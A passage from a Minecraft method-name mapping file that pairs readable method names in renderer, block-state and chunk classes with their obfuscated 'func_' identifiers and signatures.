net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/getFacing ()Lnet/minecraft/util/EnumFacing; net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/func_178367_a ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/access$000 (Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing;)Z net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/access$000 (Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing;)Z +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/func_178372_b ()I net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/func_178372_b ()I +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/func_178371_c ()I net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/func_178371_c ()I +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/func_178369_d ()Z net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/func_178369_d ()Z +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/values ()[Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing; net/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing/values ()[Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing; +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178394_a (ILjava/lang/String;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)Ljava/util/List; net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178394_a (ILjava/lang/String;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)Ljava/util/List; +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178396_a (Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing;Ljava/util/List;[IIIIIZ)V net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178396_a (Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing;Ljava/util/List;[IIIIIZ)V +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator/makeItemModel (Lnet/minecraft/client/renderer/texture/TextureMap;Lnet/minecraft/client/renderer/block/model/ModelBlock;)Lnet/minecraft/client/renderer/block/model/ModelBlock; net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178392_a (Lnet/minecraft/client/renderer/texture/TextureMap;Lnet/minecraft/client/renderer/block/model/ModelBlock;)Lnet/minecraft/client/renderer/block/model/ModelBlock; +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178393_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)Ljava/util/List; net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178393_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)Ljava/util/List; +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178397_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Ljava/lang/String;I)Ljava/util/List; net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178397_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Ljava/lang/String;I)Ljava/util/List; +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178395_a (Ljava/util/List;Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing;II)V net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178395_a (Ljava/util/List;Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing;II)V +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178391_a ([IIIII)Z net/minecraft/client/renderer/block/model/ItemModelGenerator/func_178391_a ([IIIII)Z +MD: net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; +MD: net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/parseVector3f (Lcom/google/gson/JsonObject;Ljava/lang/String;Lorg/lwjgl/util/vector/Vector3f;)Lorg/lwjgl/util/vector/Vector3f; net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/func_178358_a (Lcom/google/gson/JsonObject;Ljava/lang/String;Lorg/lwjgl/util/vector/Vector3f;)Lorg/lwjgl/util/vector/Vector3f; +MD: net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/ItemTransformVec3f$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/ItemTransformVec3f/equals (Ljava/lang/Object;)Z net/minecraft/client/renderer/block/model/ItemTransformVec3f/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/renderer/block/model/ItemTransformVec3f/hashCode ()I net/minecraft/client/renderer/block/model/ItemTransformVec3f/hashCode ()I +MD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$Deserializer/func_181683_a (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;Ljava/lang/String;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; net/minecraft/client/renderer/block/model/ItemCameraTransforms$Deserializer/func_181683_a (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;Ljava/lang/String;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; +MD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; net/minecraft/client/renderer/block/model/ItemCameraTransforms$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; +MD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/ItemCameraTransforms$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/values ()[Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType; net/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType/values ()[Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType; +MD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/applyTransform (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V net/minecraft/client/renderer/block/model/ItemCameraTransforms/func_181689_a (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V +MD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/getTransform (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; net/minecraft/client/renderer/block/model/ItemCameraTransforms/func_181688_b (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; +MD: net/minecraft/client/renderer/block/model/ItemCameraTransforms/func_181687_c (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)Z net/minecraft/client/renderer/block/model/ItemCameraTransforms/func_181687_c (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)Z +MD: net/minecraft/client/renderer/block/statemap/StateMapperBase/putStateModelLocations (Lnet/minecraft/block/Block;)Ljava/util/Map; net/minecraft/client/renderer/block/statemap/StateMapperBase/func_178130_a (Lnet/minecraft/block/Block;)Ljava/util/Map; +MD: net/minecraft/client/renderer/block/statemap/StateMapperBase/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/block/statemap/StateMapperBase/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/block/statemap/StateMapperBase/getPropertyString (Ljava/util/Map;)Ljava/lang/String; net/minecraft/client/renderer/block/statemap/StateMapperBase/func_178131_a (Ljava/util/Map;)Ljava/lang/String; +MD: net/minecraft/client/renderer/block/statemap/BlockStateMapper/putAllStateModelLocations ()Ljava/util/Map; net/minecraft/client/renderer/block/statemap/BlockStateMapper/func_178446_a ()Ljava/util/Map; +MD: net/minecraft/client/renderer/block/statemap/BlockStateMapper/registerBlockStateMapper (Lnet/minecraft/block/Block;Lnet/minecraft/client/renderer/block/statemap/IStateMapper;)V net/minecraft/client/renderer/block/statemap/BlockStateMapper/func_178447_a (Lnet/minecraft/block/Block;Lnet/minecraft/client/renderer/block/statemap/IStateMapper;)V +MD: net/minecraft/client/renderer/block/statemap/BlockStateMapper/registerBuiltInBlocks ([Lnet/minecraft/block/Block;)V net/minecraft/client/renderer/block/statemap/BlockStateMapper/func_178448_a ([Lnet/minecraft/block/Block;)V +MD: net/minecraft/client/renderer/block/statemap/DefaultStateMapper/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/block/statemap/DefaultStateMapper/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/block/statemap/StateMap$Builder/build ()Lnet/minecraft/client/renderer/block/statemap/StateMap; net/minecraft/client/renderer/block/statemap/StateMap$Builder/func_178441_a ()Lnet/minecraft/client/renderer/block/statemap/StateMap; +MD: net/minecraft/client/renderer/block/statemap/StateMap$Builder/withName (Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/client/renderer/block/statemap/StateMap$Builder; net/minecraft/client/renderer/block/statemap/StateMap$Builder/func_178440_a (Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/client/renderer/block/statemap/StateMap$Builder; +MD: net/minecraft/client/renderer/block/statemap/StateMap$Builder/withSuffix (Ljava/lang/String;)Lnet/minecraft/client/renderer/block/statemap/StateMap$Builder; net/minecraft/client/renderer/block/statemap/StateMap$Builder/func_178439_a (Ljava/lang/String;)Lnet/minecraft/client/renderer/block/statemap/StateMap$Builder; +MD: net/minecraft/client/renderer/block/statemap/StateMap$Builder/ignore ([Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/client/renderer/block/statemap/StateMap$Builder; net/minecraft/client/renderer/block/statemap/StateMap$Builder/func_178442_a ([Lnet/minecraft/block/properties/IProperty;)Lnet/minecraft/client/renderer/block/statemap/StateMap$Builder; +MD: net/minecraft/client/renderer/block/statemap/StateMap/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/block/statemap/StateMap/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/block/statemap/IStateMapper/putStateModelLocations (Lnet/minecraft/block/Block;)Ljava/util/Map; net/minecraft/client/renderer/block/statemap/IStateMapper/func_178130_a (Lnet/minecraft/block/Block;)Ljava/util/Map; +MD: net/minecraft/command/CommandSetSpawnpoint/getRequiredPermissionLevel ()I net/minecraft/command/CommandSetSpawnpoint/func_82362_a ()I +MD: net/minecraft/command/CommandSetSpawnpoint/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandSetSpawnpoint/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandSetSpawnpoint/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandSetSpawnpoint/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandSetSpawnpoint/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandSetSpawnpoint/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandSetSpawnpoint/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandSetSpawnpoint/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandSetSpawnpoint/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandSetSpawnpoint/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/func_178463_a (Lnet/minecraft/tileentity/TileEntityBanner;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/func_178463_a (Lnet/minecraft/tileentity/TileEntityBanner;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityBanner;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityBanner;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityBannerRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/forceTileEntityRender ()Z net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/func_181055_a ()Z +MD: net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityBeacon;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityBeacon;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityBeaconRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/getFontRenderer ()Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_147548_a ()Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/setWorld (Lnet/minecraft/world/World;)V net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_147543_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/cacheActiveRenderInfo (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/texture/TextureManager;Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/entity/Entity;F)V net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_178470_a (Lnet/minecraft/world/World;Lnet/minecraft/client/renderer/texture/TextureManager;Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDF)V net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_147549_a (Lnet/minecraft/tileentity/TileEntity;DDDF)V +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_178469_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/renderTileEntity (Lnet/minecraft/tileentity/TileEntity;FI)V net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_180546_a (Lnet/minecraft/tileentity/TileEntity;FI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/getSpecialRendererByClass (Ljava/lang/Class;)Lnet/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer; net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_147546_a (Ljava/lang/Class;)Lnet/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer; +MD: net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/getSpecialRenderer (Lnet/minecraft/tileentity/TileEntity;)Lnet/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer; net/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher/func_147547_b (Lnet/minecraft/tileentity/TileEntity;)Lnet/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer; +MD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/forceTileEntityRender ()Z net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/func_181055_a ()Z +MD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/setRendererDispatcher (Lnet/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher;)V net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/func_147497_a (Lnet/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher;)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/bindTexture (Lnet/minecraft/util/ResourceLocation;)V net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/func_147499_a (Lnet/minecraft/util/ResourceLocation;)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/getWorld ()Lnet/minecraft/world/World; net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/func_178459_a ()Lnet/minecraft/world/World; +MD: net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/getFontRenderer ()Lnet/minecraft/client/gui/FontRenderer; net/minecraft/client/renderer/tileentity/TileEntitySpecialRenderer/func_147498_b ()Lnet/minecraft/client/gui/FontRenderer; +MD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityChest;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityChestRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityChest;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityEnchantmentTable;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityEnchantmentTableRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityEnchantmentTable;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityEnderChest;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityEnderChestRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityEnderChest;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer/renderMob (Lnet/minecraft/tileentity/MobSpawnerBaseLogic;DDDF)V net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer/func_147517_a (Lnet/minecraft/tileentity/MobSpawnerBaseLogic;DDDF)V +MD: net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityMobSpawner;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityMobSpawnerRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityMobSpawner;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityPiston;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityPistonRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityPiston;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntitySign;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntitySignRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntitySign;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/renderSkull (FFFLnet/minecraft/util/EnumFacing;FILcom/mojang/authlib/GameProfile;I)V net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/func_180543_a (FFFLnet/minecraft/util/EnumFacing;FILcom/mojang/authlib/GameProfile;I)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntitySkull;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntitySkull;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/setRendererDispatcher (Lnet/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher;)V net/minecraft/client/renderer/tileentity/TileEntitySkullRenderer/func_147497_a (Lnet/minecraft/client/renderer/tileentity/TileEntityRendererDispatcher;)V +MD: net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/func_147525_a (FFFF)Ljava/nio/FloatBuffer; net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/func_147525_a (FFFF)Ljava/nio/FloatBuffer; +MD: net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntity;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntity;DDDFI)V +MD: net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/renderTileEntityAt (Lnet/minecraft/tileentity/TileEntityEndPortal;DDDFI)V net/minecraft/client/renderer/tileentity/TileEntityEndPortalRenderer/func_180535_a (Lnet/minecraft/tileentity/TileEntityEndPortal;DDDFI)V +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/values ()[Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status/values ()[Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/values ()[Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type/values ()[Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/getStatus ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178546_a ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/setRegionRenderCacheBuilder (Lnet/minecraft/client/renderer/RegionRenderCacheBuilder;)V net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178541_a (Lnet/minecraft/client/renderer/RegionRenderCacheBuilder;)V +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/setStatus (Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status;)V net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178535_a (Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Status;)V +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/setCompiledChunk (Lnet/minecraft/client/renderer/chunk/CompiledChunk;)V net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178543_a (Lnet/minecraft/client/renderer/chunk/CompiledChunk;)V +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/addFinishRunnable (Ljava/lang/Runnable;)V net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178539_a (Ljava/lang/Runnable;)V +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/getRenderChunk ()Lnet/minecraft/client/renderer/chunk/RenderChunk; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178536_b ()Lnet/minecraft/client/renderer/chunk/RenderChunk; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/getCompiledChunk ()Lnet/minecraft/client/renderer/chunk/CompiledChunk; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178544_c ()Lnet/minecraft/client/renderer/chunk/CompiledChunk; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/getRegionRenderCacheBuilder ()Lnet/minecraft/client/renderer/RegionRenderCacheBuilder; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178545_d ()Lnet/minecraft/client/renderer/RegionRenderCacheBuilder; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/finish ()V net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178542_e ()V +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/getLock ()Ljava/util/concurrent/locks/ReentrantLock; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178540_f ()Ljava/util/concurrent/locks/ReentrantLock; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/getType ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type; net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178538_g ()Lnet/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator$Type; +MD: net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/isFinished ()Z net/minecraft/client/renderer/chunk/ChunkCompileTaskGenerator/func_178537_h ()Z +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$1/run ()V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$1/run ()V +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$2/run ()V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$2/run ()V +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/run ()V net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$3/run ()V +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/getDebugInfo ()Ljava/lang/String; net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178504_a ()Ljava/lang/String; +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/runChunkUploads (J)Z net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/func_178516_a (J)Z +MD: net/minecraft/client/renderer/chunk/ChunkRenderDispatcher/uploadChunk 